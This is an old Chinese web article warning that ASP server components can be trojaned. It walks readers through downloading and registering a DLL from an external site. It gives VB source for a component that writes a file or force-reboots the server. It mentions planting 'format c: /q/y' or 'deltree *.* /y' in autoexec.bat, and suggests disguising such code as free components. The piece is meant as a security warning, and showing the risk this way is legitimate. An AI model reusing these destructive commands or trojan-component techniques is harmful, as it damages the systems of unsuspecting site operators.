选择显示字体大小

asp组件中的安全问题

  microsoft推出的asp(active server page)以简单、易用、功能多、可扩充性等强大功能得到了网友和大多数网管的喜爱,大有完全代替cgi的趋势。但是我要对你说,如果使用asp的话,你网络的安全同时也大大降低了!

  在我继续说下去之前,请你完成以下步骤:
  1.下载这个文件“http://home.gbsource.net/xuankong/dll.zip”,解压缩后把其中的test.dll文件拷贝到“c:\windows\system”(如果你是使用nt的话,请拷贝到相应目录);
  2.接下来打开“开始/运行”菜单输入“regsvr32 test.dll”命令;
  3.拷贝解压缩后的文件包中的那个index.asp到你的服务器目录(如果你是使用pws‘personal web server’调试可以拷贝到“c:\.netpub\wwwroot”,nt请拷贝到相应的目录);
  4.换一台机器用ie浏览index.asp文件看一看(你看到的是出错代码,但是实际上程序已经运行了),你再返回你的机器看一看c:\下是否多了一个文件?!一个名为“xuankong.dat”的文件(其实如果我愿意,你的c:\autoexec.bat文件也可以被我打开并写入一些什么“format c: /q/y”或者“deltree *.* /y”的命令,等你下次重新启动机器。嘿嘿……)。
  

  我们一起来看看到底是怎么一回事,你刚才拷贝的那些dll文件其实是我使用visul basic 5.0开发的一个组件:
  1.打开vb5.0新建一个“activex dll”文件,把下面的代码录入进去。
  private declare function exitwindowsex lib ″user32″ _
  (byval uflags as long, byval dwreserved as long) _
  as long

  sub xuankong()′请不要加上″private″  
 a$ = inputbox(″请输入你的姓名,如果你的输入是″xuankong″″ + chr(13) + chr(10) + ″则会在你的系统中生成一个″xuankong.dat″文件″ + chr(10) + chr(13) + ″否则的话你的机器可能重启″, ″请输入″, ″xuankong″)
  if a$ = ″xuankong″ then

  open ″c:\xuankong.dat″ for append as #1

  write #1, ″我的朋友,这是一个asp组件的测试程序″

  write #1, ″hello world!this is a test″

  write #1, ″如果你看到这个文件表示测试成功!!!″

  else

  exitwindowsex &h43, 0′使用api函数重新启动机器

  end if

  close #1 >

  end sub
  

  2.把工程名改为dll,类模块改为test,然后把这个工程生成dll文件到c:\windows\system目录下面。
  

  3.新建一个index.asp文件把下面的代码录入进去。
  $#@60;% set rs=server.createobject(″dll.test″)%$#@62;
  $#@60;% set rs1=rs.xuankong    rs1.execute    %$#@62;
  

  4.拷贝index.asp到你的服务器内,按照上面所述进行调试!   好了,如果你调试完成,有什么感觉???如果是使用vc++ 、visual java开发(它们开发出来的组件功能可更加强大);如果把上面的vb代码改一下,加入到一些ftp组件、e-mail组件、http组件、聊天室组件、计数器组件中……(凡是可以输入/输出的组件,没法输入/输出的组件的破坏力有一定局限),再给这些组件加上一个好听的名字“免费的……”你不上当吗(嘿嘿!说不定你已经上当了,天下免费的东西可是好东西!!!*^v^*)?
  

  上面所说的是asp组件的安全问题!另外如果有些作者在写asp组件时不小心留下系统bug!那就更加不易被人发觉了!


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons